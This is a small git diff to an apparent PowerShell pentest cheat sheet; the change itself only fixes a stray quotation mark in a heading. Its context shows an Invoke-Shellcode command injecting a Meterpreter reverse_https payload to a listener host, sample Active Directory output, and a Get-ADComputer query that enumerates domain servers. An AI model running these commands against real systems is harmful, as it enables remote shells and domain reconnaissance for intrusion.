diff --git a/scripting/powershell.md b/scripting/powershell.md index a8248bc..6b70e7f 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -76,7 +76,7 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 * **Output**: *
**Windows 7:** Show/Hide
distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
- ### Enumerate All Servers on Domain" + ### Enumerate All Servers on Domain * **Command with arguments**: `Get-ADComputer -Credential $cred -server pwnt.com -LDAPFilter "(&(objectCategory=computer)(opera tingSystem=*Server*))" |select name` * **Output**: